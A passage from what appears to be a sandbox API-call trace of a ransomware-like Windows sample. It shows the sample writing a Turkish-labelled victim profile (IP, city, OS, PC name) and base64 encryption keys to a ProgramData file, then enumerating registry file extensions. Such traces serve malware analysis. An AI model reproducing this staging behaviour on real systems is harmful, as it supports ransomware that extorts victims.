lpBuffer=0x18f504, nSize=0x400 | out: lpBuffer="XDUWTFONO") returned 0x9 [0119.740] CreateFileW (lpFileName="C:\\ProgramData\\TVpSSURGMDUxNEZFRTcyX19UYXJpaCgyMiBNYXJ0IDIwMjAgUGF6YXIpX19TYWF0KDE2LTU2LTI2KQ==" (normalized: "c:\\programdata\\tvpssurgmduxnezfrtcyx19uyxjpacgymibnyxj0idiwmjagugf6yxipx19tywf0kde2ltu2lti2kq=="), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0119.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="--------------------------------------- User Hakkinda ----------------------------------------\r\n\r\nIP Address: 88.153.198.21\r\nKıta Kodu: EU\r\nKıta Adı: Europe\r\nÜlke Kodu: DE\r\nÜlke Adı: Germany\r\nEyalet Adı: North Rhine-Westphalia\r\nŞehir Adı: Bonn\r\n\r\nOS About: Windows 7 Service Pack 1 (Version 6.1, Build 7601, 64-bit Edition)\r\nUserName: 5p5NrGJn0jS HALPmcxz\r\nPC Name: XDUWTFONO\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n------------------------------------------ User ID -------------------------------------------\r\n\r\nID: MZRIDF0514FEE72\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n--------------------------------------- Encryption Key ---------------------------------------\r\n\r\nKey[AES-2048]: N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=\r\n\r\nKey[TwoFish]: M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n", cchWideChar=2965, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2965 [0119.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="--------------------------------------- User Hakkinda ----------------------------------------\r\n\r\nIP Address: 88.153.198.21\r\nKıta Kodu: EU\r\nKıta Adı: Europe\r\nÜlke Kodu: DE\r\nÜlke Adı: Germany\r\nEyalet Adı: North Rhine-Westphalia\r\nŞehir Adı: Bonn\r\n\r\nOS About: Windows 7 Service Pack 1 (Version 6.1, Build 7601, 64-bit Edition)\r\nUserName: 5p5NrGJn0jS HALPmcxz\r\nPC Name: XDUWTFONO\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n------------------------------------------ User ID -------------------------------------------\r\n\r\nID: MZRIDF0514FEE72\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n--------------------------------------- Encryption Key ---------------------------------------\r\n\r\nKey[AES-2048]: N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=\r\n\r\nKey[TwoFish]: M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n", cchWideChar=2965, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2965 [0119.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="--------------------------------------- User Hakkinda ----------------------------------------\r\n\r\nIP Address: 88.153.198.21\r\nKıta Kodu: EU\r\nKıta Adı: Europe\r\nÜlke Kodu: DE\r\nÜlke Adı: Germany\r\nEyalet Adı: North Rhine-Westphalia\r\nŞehir Adı: Bonn\r\n\r\nOS About: Windows 7 Service Pack 1 (Version 6.1, Build 7601, 64-bit Edition)\r\nUserName: 5p5NrGJn0jS HALPmcxz\r\nPC Name: XDUWTFONO\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n------------------------------------------ User ID -------------------------------------------\r\n\r\nID: MZRIDF0514FEE72\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n--------------------------------------- Encryption Key ---------------------------------------\r\n\r\nKey[AES-2048]: N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=\r\n\r\nKey[TwoFish]: M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n", cchWideChar=2965, lpMultiByteStr=0x7aeb68, cbMultiByte=2965, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="--------------------------------------- User Hakkinda ----------------------------------------\r\n\r\nIP Address: 88.153.198.21\r\nKita Kodu: EU\r\nKita Adi: Europe\r\nÜlke Kodu: DE\r\nÜlke Adi: Germany\r\nEyalet Adi: North Rhine-Westphalia\r\nSehir Adi: Bonn\r\n\r\nOS About: Windows 7 Service Pack 1 (Version 6.1, Build 7601, 64-bit Edition)\r\nUserName: 5p5NrGJn0jS HALPmcxz\r\nPC Name: XDUWTFONO\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n------------------------------------------ User ID -------------------------------------------\r\n\r\nID: MZRIDF0514FEE72\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n\r\n--------------------------------------- Encryption Key ---------------------------------------\r\n\r\nKey[AES-2048]: N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=\r\n\r\nKey[TwoFish]: M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=\r\n\r\n----------------------------------------------------------------------------------------------\r\n\r\n", lpUsedDefaultChar=0x0) returned 2965 [0119.741] WriteFile (in: hFile=0x12c, lpBuffer=0x7aeb68*, nNumberOfBytesToWrite=0xb95, lpNumberOfBytesWritten=0x18fc80, lpOverlapped=0x0 | out: lpBuffer=0x7aeb68*, lpNumberOfBytesWritten=0x18fc80*=0xb95, lpOverlapped=0x0) returned 1 [0119.742] CloseHandle (hObject=0x12c) returned 1 [0119.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x7f2f4c, cbMultiByte=10, lpWideCharStr=0x18ed08, cchWideChar=2047 | out: lpWideCharStr="MaMo434376") returned 10 [0119.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MaMo434376", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0119.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MaMo434376", cchWideChar=10, lpMultiByteStr=0x7f300c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MaMo434376", lpUsedDefaultChar=0x0) returned 10 [0119.748] GetCurrentThreadId () returned 0x9fc [0119.748] GetCurrentThreadId () returned 0x9fc [0119.748] GetCurrentThreadId () returned 0x9fc [0119.748] CreateFileW (lpFileName="C:\\ProgramData\\TVpSSURGMDUxNEZFRTcyX19UYXJpaCgyMiBNYXJ0IDIwMjAgUGF6YXIpX19TYWF0KDE2LTU2LTI2KQ==" (normalized: "c:\\programdata\\tvpssurgmduxnezfrtcyx19uyxjpacgymibnyxj0idiwmjagugf6yxipx19tywf0kde2ltu2lti2kq=="), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0119.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc4c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc4c*=0) returned 0x0 [0119.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc44*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc44*=0) returned 0x0 [0119.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc44*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18fc44*=0) returned 0xb95 [0119.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc44*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc44*=0) returned 0x0 [0119.748] ReadFile (in: hFile=0x12c, lpBuffer=0x7ad330, nNumberOfBytesToRead=0xb95, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x7ad330*, lpNumberOfBytesRead=0x18fc58*=0xb95, lpOverlapped=0x0) returned 1 [0119.748] CloseHandle (hObject=0x12c) returned 1 [0119.748] CreateFileW (lpFileName="C:\\ProgramData\\TVpSSURGMDUxNEZFRTcyX19UYXJpaCgyMiBNYXJ0IDIwMjAgUGF6YXIpX19TYWF0KDE2LTU2LTI2KQ==" (normalized: "c:\\programdata\\tvpssurgmduxnezfrtcyx19uyxjpacgymibnyxj0idiwmjagugf6yxipx19tywf0kde2ltu2lti2kq=="), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0119.749] WriteFile (in: hFile=0x12c, lpBuffer=0x7af360*, nNumberOfBytesToWrite=0xb95, lpNumberOfBytesWritten=0x18fc64, lpOverlapped=0x0 | out: lpBuffer=0x7af360*, lpNumberOfBytesWritten=0x18fc64*=0xb95, lpOverlapped=0x0) returned 1 [0119.750] CloseHandle (hObject=0x12c) returned 1 [0119.755] GetCurrentThreadId () returned 0x9fc [0119.755] GetCurrentThreadId () returned 0x9fc [0119.755] GetCurrentThreadId () returned 0x9fc [0119.755] CreateFileW (lpFileName="C:\\ProgramData\\TVpSSURGMDUxNEZFRTcyX19UYXJpaCgyMiBNYXJ0IDIwMjAgUGF6YXIpX19TYWF0KDE2LTU2LTI2KQ==" (normalized: "c:\\programdata\\tvpssurgmduxnezfrtcyx19uyxjpacgymibnyxj0idiwmjagugf6yxipx19tywf0kde2ltu2lti2kq=="), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0119.756] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey="", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fc08 | out: phkResult=0x18fc08*=0x80000000) returned 0x0 [0119.756] RegQueryInfoKeyW (in: hKey=0x80000000, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x18fbec, lpcbMaxSubKeyLen=0x18fbf0, lpcbMaxClassLen=0x0, lpcValues=0x18fbf4, lpcbMaxValueNameLen=0x18fbf8, lpcbMaxValueLen=0x18fbfc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x18fc00 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x18fbec*=0x12d8, lpcbMaxSubKeyLen=0x18fbf0, lpcbMaxClassLen=0x0, lpcValues=0x18fbf4*=0x0, lpcbMaxValueNameLen=0x18fbf8, lpcbMaxValueLen=0x18fbfc, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x18fc00) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x0, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="*", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x1, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".386", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x2, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3g2", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x3, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x4, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gp2", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".3gpp", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x6, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".a", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x7, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".AAC", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0119.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x8, lpName=0x78026c, lpcchName=0x18fc08, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".accda", lpcchName=0x18fc08, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) 